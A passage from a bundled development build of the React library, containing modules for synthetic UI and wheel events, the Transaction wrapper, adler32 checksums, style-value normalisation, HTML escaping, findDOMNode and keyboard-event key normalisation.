_dereq_(126);\n\n/**\n * @interface UIEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar UIEventInterface = {\n  view: function (event) {\n    if (event.view) {\n      return event.view;\n    }\n\n    var target = getEventTarget(event);\n    if (target != null && target.window === target) {\n      // target is a window object\n      return target;\n    }\n\n    var doc = target.ownerDocument;\n    // TODO: Figure out why `ownerDocument` is sometimes undefined in IE8.\n    if (doc) {\n      return doc.defaultView || doc.parentWindow;\n    } else {\n      return window;\n    }\n  },\n  detail: function (event) {\n    return event.detail || 0;\n  }\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticEvent}\n */\nfunction SyntheticUIEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticEvent.augmentClass(SyntheticUIEvent, UIEventInterface);\n\nmodule.exports = SyntheticUIEvent;\n},{\"103\":103,\"126\":126}],111:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SyntheticWheelEvent\n */\n\n'use strict';\n\nvar SyntheticMouseEvent = _dereq_(107);\n\n/**\n * @interface WheelEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nvar WheelEventInterface = {\n  deltaX: function (event) {\n    return 'deltaX' in event ? event.deltaX :\n    // Fallback to `wheelDeltaX` for Webkit and normalize (right is positive).\n    'wheelDeltaX' in event ? -event.wheelDeltaX : 0;\n  },\n  deltaY: function (event) {\n    return 'deltaY' in event ? event.deltaY :\n    // Fallback to `wheelDeltaY` for Webkit and normalize (down is positive).\n    'wheelDeltaY' in event ? -event.wheelDeltaY :\n    // Fallback to `wheelDelta` for IE<9 and normalize (down is positive).\n    'wheelDelta' in event ? -event.wheelDelta : 0;\n  },\n  deltaZ: null,\n\n  // Browsers without \"deltaMode\" is reporting in raw wheel delta where one\n  // notch on the scroll is always +/- 120, roughly equivalent to pixels.\n  // A good approximation of DOM_DELTA_LINE (1) is 5% of viewport size or\n  // ~40 pixels, for DOM_DELTA_SCREEN (2) it is 87.5% of viewport size.\n  deltaMode: null\n};\n\n/**\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {string} dispatchMarker Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @extends {SyntheticMouseEvent}\n */\nfunction SyntheticWheelEvent(dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget) {\n  return SyntheticMouseEvent.call(this, dispatchConfig, dispatchMarker, nativeEvent, nativeEventTarget);\n}\n\nSyntheticMouseEvent.augmentClass(SyntheticWheelEvent, WheelEventInterface);\n\nmodule.exports = SyntheticWheelEvent;\n},{\"107\":107}],112:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule Transaction\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n * `Transaction` creates a black box that is able to wrap any method such that\n * certain invariants are maintained before and after the method is invoked\n * (Even if an exception is thrown while invoking the wrapped method). Whoever\n * instantiates a transaction can provide enforcers of the invariants at\n * creation time. The `Transaction` class itself will supply one additional\n * automatic invariant for you - the invariant that any transaction instance\n * should not be run while it is already being run. You would typically create a\n * single instance of a `Transaction` for reuse multiple times, that potentially\n * is used to wrap several different methods. Wrappers are extremely simple -\n * they only require implementing two methods.\n *\n * <pre>\n *                       wrappers (injected at creation time)\n *                                      +        +\n *                                      |        |\n *                    +-----------------|--------|--------------+\n *                    |                 v        |              |\n *                    |      +---------------+   |              |\n *                    |   +--|    wrapper1   |---|----+         |\n *                    |   |  +---------------+   v    |         |\n *                    |   |          +-------------+  |         |\n *                    |   |     +----|   wrapper2  |--------+   |\n *                    |   |     |    +-------------+  |     |   |\n *                    |   |     |                     |     |   |\n *                    |   v     v                     v     v   | wrapper\n *                    | +---+ +---+   +---------+   +---+ +---+ | invariants\n * perform(anyMethod) | |   | |   |   |         |   |   | |   | | maintained\n * +----------------->|-|---|-|---|-->|anyMethod|---|---|-|---|-|-------->\n *                    | |   | |   |   |         |   |   | |   | |\n *                    | |   | |   |   |         |   |   | |   | |\n *                    | |   | |   |   |         |   |   | |   | |\n *                    | +---+ +---+   +---------+   +---+ +---+ |\n *                    |  initialize                    close    |\n *                    +-----------------------------------------+\n * </pre>\n *\n * Use cases:\n * - Preserving the input selection ranges before/after reconciliation.\n *   Restoring selection even in the event of an unexpected error.\n * - Deactivating events while rearranging the DOM, preventing blurs/focuses,\n *   while guaranteeing that afterwards, the event system is reactivated.\n * - Flushing a queue of collected DOM mutations to the main UI thread after a\n *   reconciliation takes place in a worker thread.\n * - Invoking any collected `componentDidUpdate` callbacks after rendering new\n *   content.\n * - (Future use case): Wrapping particular flushes of the `ReactWorker` queue\n *   to preserve the `scrollTop` (an automatic scroll aware DOM).\n * - (Future use case): Layout calculations before and after DOM updates.\n *\n * Transactional plugin API:\n * - A module that has an `initialize` method that returns any precomputation.\n * - and a `close` method that accepts the precomputation. `close` is invoked\n *   when the wrapped process is completed, or has failed.\n *\n * @param {Array<TransactionalWrapper>} transactionWrapper Wrapper modules\n * that implement `initialize` and `close`.\n * @return {Transaction} Single transaction for reuse in thread.\n *\n * @class Transaction\n */\nvar Mixin = {\n  /**\n   * Sets up this instance so that it is prepared for collecting metrics. Does\n   * so such that this setup method may be used on an instance that is already\n   * initialized, in a way that does not consume additional memory upon reuse.\n   * That can be useful if you decide to make your subclass of this mixin a\n   * \"PooledClass\".\n   */\n  reinitializeTransaction: function () {\n    this.transactionWrappers = this.getTransactionWrappers();\n    if (this.wrapperInitData) {\n      this.wrapperInitData.length = 0;\n    } else {\n      this.wrapperInitData = [];\n    }\n    this._isInTransaction = false;\n  },\n\n  _isInTransaction: false,\n\n  /**\n   * @abstract\n   * @return {Array<TransactionWrapper>} Array of transaction wrappers.\n   */\n  getTransactionWrappers: null,\n\n  isInTransaction: function () {\n    return !!this._isInTransaction;\n  },\n\n  /**\n   * Executes the function within a safety window. Use this for the top level\n   * methods that result in large amounts of computation/mutations that would\n   * need to be safety checked. The optional arguments helps prevent the need\n   * to bind in many cases.\n   *\n   * @param {function} method Member of scope to call.\n   * @param {Object} scope Scope to invoke from.\n   * @param {Object?=} a Argument to pass to the method.\n   * @param {Object?=} b Argument to pass to the method.\n   * @param {Object?=} c Argument to pass to the method.\n   * @param {Object?=} d Argument to pass to the method.\n   * @param {Object?=} e Argument to pass to the method.\n   * @param {Object?=} f Argument to pass to the method.\n   *\n   * @return {*} Return value from `method`.\n   */\n  perform: function (method, scope, a, b, c, d, e, f) {\n    !!this.isInTransaction() ? \"development\" !== 'production' ? invariant(false, 'Transaction.perform(...): Cannot initialize a transaction when there ' + 'is already an outstanding transaction.') : invariant(false) : void 0;\n    var errorThrown;\n    var ret;\n    try {\n      this._isInTransaction = true;\n      // Catching errors makes debugging more difficult, so we start with\n      // errorThrown set to true before setting it to false after calling\n      // close -- if it's still set to true in the finally block, it means\n      // one of these calls threw.\n      errorThrown = true;\n      this.initializeAll(0);\n      ret = method.call(scope, a, b, c, d, e, f);\n      errorThrown = false;\n    } finally {\n      try {\n        if (errorThrown) {\n          // If `method` throws, prefer to show that stack trace over any thrown\n          // by invoking `closeAll`.\n          try {\n            this.closeAll(0);\n          } catch (err) {}\n        } else {\n          // Since `method` didn't throw, we don't want to silence the exception\n          // here.\n          this.closeAll(0);\n        }\n      } finally {\n        this._isInTransaction = false;\n      }\n    }\n    return ret;\n  },\n\n  initializeAll: function (startIndex) {\n    var transactionWrappers = this.transactionWrappers;\n    for (var i = startIndex; i < transactionWrappers.length; i++) {\n      var wrapper = transactionWrappers[i];\n      try {\n        // Catching errors makes debugging more difficult, so we start with the\n        // OBSERVED_ERROR state before overwriting it with the real return value\n        // of initialize -- if it's still set to OBSERVED_ERROR in the finally\n        // block, it means wrapper.initialize threw.\n        this.wrapperInitData[i] = Transaction.OBSERVED_ERROR;\n        this.wrapperInitData[i] = wrapper.initialize ? wrapper.initialize.call(this) : null;\n      } finally {\n        if (this.wrapperInitData[i] === Transaction.OBSERVED_ERROR) {\n          // The initializer for wrapper i threw an error; initialize the\n          // remaining wrappers but silence any exceptions from them to ensure\n          // that the first error is the one to bubble up.\n          try {\n            this.initializeAll(i + 1);\n          } catch (err) {}\n        }\n      }\n    }\n  },\n\n  /**\n   * Invokes each of `this.transactionWrappers.close[i]` functions, passing into\n   * them the respective return values of `this.transactionWrappers.init[i]`\n   * (`close`rs that correspond to initializers that failed will not be\n   * invoked).\n   */\n  closeAll: function (startIndex) {\n    !this.isInTransaction() ? \"development\" !== 'production' ? invariant(false, 'Transaction.closeAll(): Cannot close transaction when none are open.') : invariant(false) : void 0;\n    var transactionWrappers = this.transactionWrappers;\n    for (var i = startIndex; i < transactionWrappers.length; i++) {\n      var wrapper = transactionWrappers[i];\n      var initData = this.wrapperInitData[i];\n      var errorThrown;\n      try {\n        // Catching errors makes debugging more difficult, so we start with\n        // errorThrown set to true before setting it to false after calling\n        // close -- if it's still set to true in the finally block, it means\n        // wrapper.close threw.\n        errorThrown = true;\n        if (initData !== Transaction.OBSERVED_ERROR && wrapper.close) {\n          wrapper.close.call(this, initData);\n        }\n        errorThrown = false;\n      } finally {\n        if (errorThrown) {\n          // The closer for wrapper i threw an error; close the remaining\n          // wrappers but silence any exceptions from them to ensure that the\n          // first error is the one to bubble up.\n          try {\n            this.closeAll(i + 1);\n          } catch (e) {}\n        }\n      }\n    }\n    this.wrapperInitData.length = 0;\n  }\n};\n\nvar Transaction = {\n\n  Mixin: Mixin,\n\n  /**\n   * Token to look for to determine if an error occurred.\n   */\n  OBSERVED_ERROR: {}\n\n};\n\nmodule.exports = Transaction;\n},{\"158\":158}],113:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ViewportMetrics\n */\n\n'use strict';\n\nvar ViewportMetrics = {\n\n  currentScrollLeft: 0,\n\n  currentScrollTop: 0,\n\n  refreshScrollValues: function (scrollPosition) {\n    ViewportMetrics.currentScrollLeft = scrollPosition.x;\n    ViewportMetrics.currentScrollTop = scrollPosition.y;\n  }\n\n};\n\nmodule.exports = ViewportMetrics;\n},{}],114:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule accumulateInto\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n *\n * Accumulates items that must not be null or undefined into the first one. This\n * is used to conserve memory by avoiding array allocations, and thus sacrifices\n * API cleanness. Since `current` can be null before being passed in and not\n * null after this function, make sure to assign it back to `current`:\n *\n * `a = accumulateInto(a, b);`\n *\n * This API should be sparingly used. Try `accumulate` for something cleaner.\n *\n * @return {*|array<*>} An accumulation of items.\n */\n\nfunction accumulateInto(current, next) {\n  !(next != null) ? \"development\" !== 'production' ? invariant(false, 'accumulateInto(...): Accumulated items must not be null or undefined.') : invariant(false) : void 0;\n  if (current == null) {\n    return next;\n  }\n\n  // Both are not empty. Warning: Never call x.concat(y) when you are not\n  // certain that x is an Array (x could be a string with concat method).\n  var currentIsArray = Array.isArray(current);\n  var nextIsArray = Array.isArray(next);\n\n  if (currentIsArray && nextIsArray) {\n    current.push.apply(current, next);\n    return current;\n  }\n\n  if (currentIsArray) {\n    current.push(next);\n    return current;\n  }\n\n  if (nextIsArray) {\n    // A bit too dangerous to mutate `next`.\n    return [current].concat(next);\n  }\n\n  return [current, next];\n}\n\nmodule.exports = accumulateInto;\n},{\"158\":158}],115:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule adler32\n */\n\n'use strict';\n\nvar MOD = 65521;\n\n// adler32 is not cryptographically strong, and is only used to sanity check that\n// markup generated on the server matches the markup generated on the client.\n// This implementation (a modified version of the SheetJS version) has been optimized\n// for our use case, at the expense of conforming to the adler32 specification\n// for non-ascii inputs.\nfunction adler32(data) {\n  var a = 1;\n  var b = 0;\n  var i = 0;\n  var l = data.length;\n  var m = l & ~0x3;\n  while (i < m) {\n    var n = Math.min(i + 4096, m);\n    for (; i < n; i += 4) {\n      b += (a += data.charCodeAt(i)) + (a += data.charCodeAt(i + 1)) + (a += data.charCodeAt(i + 2)) + (a += data.charCodeAt(i + 3));\n    }\n    a %= MOD;\n    b %= MOD;\n  }\n  for (; i < l; i++) {\n    b += a += data.charCodeAt(i);\n  }\n  a %= MOD;\n  b %= MOD;\n  return a | b << 16;\n}\n\nmodule.exports = adler32;\n},{}],116:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule canDefineProperty\n */\n\n'use strict';\n\nvar canDefineProperty = false;\nif (\"development\" !== 'production') {\n  try {\n    Object.defineProperty({}, 'x', { get: function () {} });\n    canDefineProperty = true;\n  } catch (x) {\n    // IE will fail on defineProperty\n  }\n}\n\nmodule.exports = canDefineProperty;\n},{}],117:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule createMicrosoftUnsafeLocalFunction\n */\n\n/* globals MSApp */\n\n'use strict';\n\n/**\n * Create a function which has 'unsafe' privileges (required by windows8 apps)\n */\n\nvar createMicrosoftUnsafeLocalFunction = function (func) {\n  if (typeof MSApp !== 'undefined' && MSApp.execUnsafeLocalFunction) {\n    return function (arg0, arg1, arg2, arg3) {\n      MSApp.execUnsafeLocalFunction(function () {\n        return func(arg0, arg1, arg2, arg3);\n      });\n    };\n  } else {\n    return func;\n  }\n};\n\nmodule.exports = createMicrosoftUnsafeLocalFunction;\n},{}],118:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule dangerousStyleValue\n */\n\n'use strict';\n\nvar CSSProperty = _dereq_(3);\nvar warning = _dereq_(168);\n\nvar isUnitlessNumber = CSSProperty.isUnitlessNumber;\nvar styleWarnings = {};\n\n/**\n * Convert a value into the proper css writable value. The style name `name`\n * should be logical (no hyphens), as specified\n * in `CSSProperty.isUnitlessNumber`.\n *\n * @param {string} name CSS property name such as `topMargin`.\n * @param {*} value CSS property value such as `10px`.\n * @param {ReactDOMComponent} component\n * @return {string} Normalized style value with dimensions applied.\n */\nfunction dangerousStyleValue(name, value, component) {\n  // Note that we've removed escapeTextForBrowser() calls here since the\n  // whole string will be escaped when the attribute is injected into\n  // the markup. If you provide unsafe user data here they can inject\n  // arbitrary CSS which may be problematic (I couldn't repro this):\n  // https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet\n  // http://www.thespanner.co.uk/2007/11/26/ultimate-xss-css-injection/\n  // This is not an XSS hole but instead a potential CSS injection issue\n  // which has lead to a greater discussion about how we're going to\n  // trust URLs moving forward. See #2115901\n\n  var isEmpty = value == null || typeof value === 'boolean' || value === '';\n  if (isEmpty) {\n    return '';\n  }\n\n  var isNonNumeric = isNaN(value);\n  if (isNonNumeric || value === 0 || isUnitlessNumber.hasOwnProperty(name) && isUnitlessNumber[name]) {\n    return '' + value; // cast to string\n  }\n\n  if (typeof value === 'string') {\n    if (\"development\" !== 'production') {\n      if (component) {\n        var owner = component._currentElement._owner;\n        var ownerName = owner ? owner.getName() : null;\n        if (ownerName && !styleWarnings[ownerName]) {\n          styleWarnings[ownerName] = {};\n        }\n        var warned = false;\n        if (ownerName) {\n          var warnings = styleWarnings[ownerName];\n          warned = warnings[name];\n          if (!warned) {\n            warnings[name] = true;\n          }\n        }\n        if (!warned) {\n          \"development\" !== 'production' ? warning(false, 'a `%s` tag (owner: `%s`) was passed a numeric string value ' + 'for CSS property `%s` (value: `%s`) which will be treated ' + 'as a unitless number in a future version of React.', component._currentElement.type, ownerName || 'unknown', name, value) : void 0;\n        }\n      }\n    }\n    value = value.trim();\n  }\n  return value + 'px';\n}\n\nmodule.exports = dangerousStyleValue;\n},{\"168\":168,\"3\":3}],119:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule escapeTextContentForBrowser\n */\n\n'use strict';\n\nvar ESCAPE_LOOKUP = {\n  '&': '&amp;',\n  '>': '&gt;',\n  '<': '&lt;',\n  '\"': '&quot;',\n  '\\'': '&#x27;'\n};\n\nvar ESCAPE_REGEX = /[&><\"']/g;\n\nfunction escaper(match) {\n  return ESCAPE_LOOKUP[match];\n}\n\n/**\n * Escapes text to prevent scripting attacks.\n *\n * @param {*} text Text value to escape.\n * @return {string} An escaped string.\n */\nfunction escapeTextContentForBrowser(text) {\n  return ('' + text).replace(ESCAPE_REGEX, escaper);\n}\n\nmodule.exports = escapeTextContentForBrowser;\n},{}],120:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule findDOMNode\n */\n\n'use strict';\n\nvar ReactCurrentOwner = _dereq_(35);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactInstanceMap = _dereq_(71);\n\nvar getNativeComponentFromComposite = _dereq_(128);\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\n/**\n * Returns the DOM node rendered by this element.\n *\n * @param {ReactComponent|DOMElement} componentOrElement\n * @return {?DOMElement} The root node of this element.\n */\nfunction findDOMNode(componentOrElement) {\n  if (\"development\" !== 'production') {\n    var owner = ReactCurrentOwner.current;\n    if (owner !== null) {\n      \"development\" !== 'production' ? warning(owner._warnedAboutRefsInRender, '%s is accessing findDOMNode inside its render(). ' + 'render() should be a pure function of props and state. It should ' + 'never access something that requires stale data from the previous ' + 'render, such as refs. Move this logic to componentDidMount and ' + 'componentDidUpdate instead.', owner.getName() || 'A component') : void 0;\n      owner._warnedAboutRefsInRender = true;\n    }\n  }\n  if (componentOrElement == null) {\n    return null;\n  }\n  if (componentOrElement.nodeType === 1) {\n    return componentOrElement;\n  }\n\n  var inst = ReactInstanceMap.get(componentOrElement);\n  if (inst) {\n    inst = getNativeComponentFromComposite(inst);\n    return inst ? ReactDOMComponentTree.getNodeFromInstance(inst) : null;\n  }\n\n  if (typeof componentOrElement.render === 'function') {\n    !false ? \"development\" !== 'production' ? invariant(false, 'findDOMNode was called on an unmounted component.') : invariant(false) : void 0;\n  } else {\n    !false ? \"development\" !== 'production' ? invariant(false, 'Element appears to be neither ReactComponent nor DOMNode (keys: %s)', Object.keys(componentOrElement)) : invariant(false) : void 0;\n  }\n}\n\nmodule.exports = findDOMNode;\n},{\"128\":128,\"158\":158,\"168\":168,\"35\":35,\"40\":40,\"71\":71}],121:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule flattenChildren\n */\n\n'use strict';\n\nvar KeyEscapeUtils = _dereq_(23);\nvar traverseAllChildren = _dereq_(141);\nvar warning = _dereq_(168);\n\n/**\n * @param {function} traverseContext Context passed through traversal.\n * @param {?ReactComponent} child React child component.\n * @param {!string} name String name of key path to child.\n */\nfunction flattenSingleChildIntoContext(traverseContext, child, name) {\n  // We found a component instance.\n  var result = traverseContext;\n  var keyUnique = result[name] === undefined;\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(keyUnique, 'flattenChildren(...): Encountered two children with the same key, ' + '`%s`. Child keys must be unique; when two children share a key, only ' + 'the first child will be used.', KeyEscapeUtils.unescape(name)) : void 0;\n  }\n  if (keyUnique && child != null) {\n    result[name] = child;\n  }\n}\n\n/**\n * Flattens children that are typically specified as `props.children`. Any null\n * children will not be included in the resulting object.\n * @return {!object} flattened children keyed by name.\n */\nfunction flattenChildren(children) {\n  if (children == null) {\n    return children;\n  }\n  var result = {};\n  traverseAllChildren(children, flattenSingleChildIntoContext, result);\n  return result;\n}\n\nmodule.exports = flattenChildren;\n},{\"141\":141,\"168\":168,\"23\":23}],122:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule forEachAccumulated\n */\n\n'use strict';\n\n/**\n * @param {array} arr an \"accumulation\" of items which is either an Array or\n * a single item. Useful when paired with the `accumulate` module. This is a\n * simple utility that allows us to reason about a collection of items, but\n * handling the case when there is exactly one item (and we do not need to\n * allocate an array).\n */\n\nvar forEachAccumulated = function (arr, cb, scope) {\n  if (Array.isArray(arr)) {\n    arr.forEach(cb, scope);\n  } else if (arr) {\n    cb.call(scope, arr);\n  }\n};\n\nmodule.exports = forEachAccumulated;\n},{}],123:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getEventCharCode\n */\n\n'use strict';\n\n/**\n * `charCode` represents the actual \"character code\" and is safe to use with\n * `String.fromCharCode`. As such, only keys that correspond to printable\n * characters produce a valid `charCode`, the only exception to this is Enter.\n * The Tab-key is considered non-printable and does not have a `charCode`,\n * presumably because it does not produce a tab-character in browsers.\n *\n * @param {object} nativeEvent Native browser event.\n * @return {number} Normalized `charCode` property.\n */\n\nfunction getEventCharCode(nativeEvent) {\n  var charCode;\n  var keyCode = nativeEvent.keyCode;\n\n  if ('charCode' in nativeEvent) {\n    charCode = nativeEvent.charCode;\n\n    // FF does not set `charCode` for the Enter-key, check against `keyCode`.\n    if (charCode === 0 && keyCode === 13) {\n      charCode = 13;\n    }\n  } else {\n    // IE8 does not implement `charCode`, but `keyCode` has the correct value.\n    charCode = keyCode;\n  }\n\n  // Some non-printable keys are reported in `charCode`/`keyCode`, discard them.\n  // Must not discard the (non-)printable Enter-key.\n  if (charCode >= 32 || charCode === 13) {\n    return charCode;\n  }\n\n  return 0;\n}\n\nmodule.exports = getEventCharCode;\n},{}],124:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getEventKey\n */\n\n'use strict';\n\nvar getEventCharCode = _dereq_(123);\n\n/**\n * Normalization of deprecated HTML5 `key` values\n * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names\n */\nvar normalizeKey = {\n  'Esc': 'Escape',\n  'Spacebar': ' ',\n  'Left': 'ArrowLeft',\n  'Up': 'ArrowUp',\n  'Right': 'ArrowRight',\n  'Down': 'ArrowDown',\n  'Del': 'Delete',\n  'Win': 'OS',\n  'Menu': 'ContextMenu',\n  'Apps': 'ContextMenu',\n  'Scroll': 'ScrollLock',\n  'MozPrintableKey': 'Unidentified'\n};\n\n/**\n * Translation from legacy `keyCode` to HTML5 `key`\n * Only special keys supported, all others depend on keyboard layout or browser\n * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names\n */\nvar translateToKey = {\n  8: 'Backspace',\n  9: 'Tab',\n  12: 'Clear',\n  13: 'Enter',\n  16: 'Shift',\n  17: 'Control',\n  18: 'Alt',\n  19: 'Pause',\n  20: 'CapsLock',\n  27: 'Escape',\n  32: ' ',\n  33: 'PageUp',\n  34: 'PageDown',\n  35: 'End',\n  36: 'Home',\n  37: 'ArrowLeft',\n  38: 'ArrowUp',\n  39: 'ArrowRight',\n  40: 'ArrowDown',\n  45: 'Insert',\n  46: 'Delete',\n  112: 'F1', 113: 'F2', 114: 'F3', 115: 'F4', 116: 'F5', 117: 'F6',\n  118: 'F7', 119: 'F8', 120: 'F9', 121: 'F10', 122: 'F11', 123: 'F12',\n  144: 'NumLock',\n  145: 'ScrollLock',\n  224: 'Meta'\n};\n\n/**\n * @param {object} nativeEvent Native browser event.\n * @return {string} Normalized `key` property.\n */\nfunction getEventKey(nativeEvent) {\n  if (nativeEvent.key) {\n    // Normalize inconsistent values reported by browsers due to\n    // implementations of a working draft specification.\n\n    // FireFox implements `key` but returns `MozPrintableKey` for all\n    // printable characters (normalized to `Unidentified`), ignore it.\n    var key = normalizeKey[nativeEvent.key] || nativeEvent.key;\n    if (key !== 'Unidentified') {\n      return key;\n    }\n  }\n\n  // Browser does not implement `key`, polyfill as much of it as we can.\n  if (nativeEvent.type === 'keypress') {\n    var charCode = getEventCharCode(nativeEvent);\n\n    // The enter-key is technically both printable and non-printable and can\n    // thus be captured by `keypress`, no other non-printable key should.\n    return charCode === 13 ? 'Enter' : String.fromCharCode(charCode);\n  }\n  if (nativeEvent.type === 'keydown' || nativeEvent.type === 'keyup') {\n    // While user keyboard layout determines the actual meaning of each\n    // `keyCode` value, almost all function keys have a universal value.\n    return translateToKey[nativeEvent.keyCode] || 'Unidentified';\n  }\n  return '';\n}\n\nmodule.exports = getEventKey;\n},{\"123\":123}],125:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getEventModifierState\n */\n\n'use strict';\n\n/**\n * Translation from modifier key to the associated property in the event.\n * @see http://www.w3.org/TR/DOM-Level-3-Events/#keys-Modifiers\n */\n\nvar modifierKeyToProp = {\n  'Alt': 'altKey',\n  'Control': 'ctrlKey',\n  'Meta': 'metaKey',\n  'Shift': 'shiftKey'\n};\n\n// IE8 does not implement getModifierState so we simply map it to the only\n// modifier keys exposed by the event itself, does not support Lock-keys.\n// Currently, all major browsers except Chrome seems to support Lock-keys.\nfunction modifierStateGetter(keyArg) {\n  var syntheticEvent = this;\n  var nativeEvent = syntheticEvent.nativeEvent;\n  if (nativeEvent.getModifierState) {\n    return nativeEvent.getModifierState(keyArg);\n  }\n  var keyProp = modifierKeyToProp[keyArg];\n  return keyProp ? !!nativeEvent[keyProp] : false;\n}\n\nfunction getEventModifierState(nativeEvent) {\n  return modifierStateGetter;\n}\n\nmodule.exports = getEventModifierState;\n},{}],126:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getEventTarget\n */\n\n'use strict';\n\n/**\n * Gets the target node from a native browser event by accounting for\n * inconsistencies in browser DOM APIs.\n *\n * @param {object} nativeEvent Native browser event.\n * @return {DOMEventTarget} Target node.\n */\n\nfunction getEventTarget(nativeEvent) {\n  var target = nativeEvent.target || nativeEvent.srcElement || window;\n\n  // Normalize SVG <use> element events #4963\n  if (target.correspondingUseElement) {\n    target = target.correspondingUseElement;\n  }\n\n  // Safari may fire events on text nodes (Node.TEXT_NODE is 3).\n  // @see http://www.quirksmode.org/js/events_properties.html\n  return target.nodeType === 3 ? target.parentNode : target;\n}\n\nmodule.exports = getEventTarget;\n},{}],127:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getIteratorFn\n */\n\n'use strict';\n\n/* global Symbol */\n\nvar ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.\n\n/**\n * Returns the iterator method function contained on the iterable object.\n *\n * Be sure to invoke the function with the iterable as context:\n *\n *     var iteratorFn = getIteratorFn(myIterable);\n *     if (iteratorFn) {\n *       var iterator = iteratorFn.call(myIterable);\n *       ...\n *     }\n *\n * @param {?object} maybeIterable\n * @return {?function}\n */\nfunction getIteratorFn(maybeIterable) {\n  var iteratorFn = 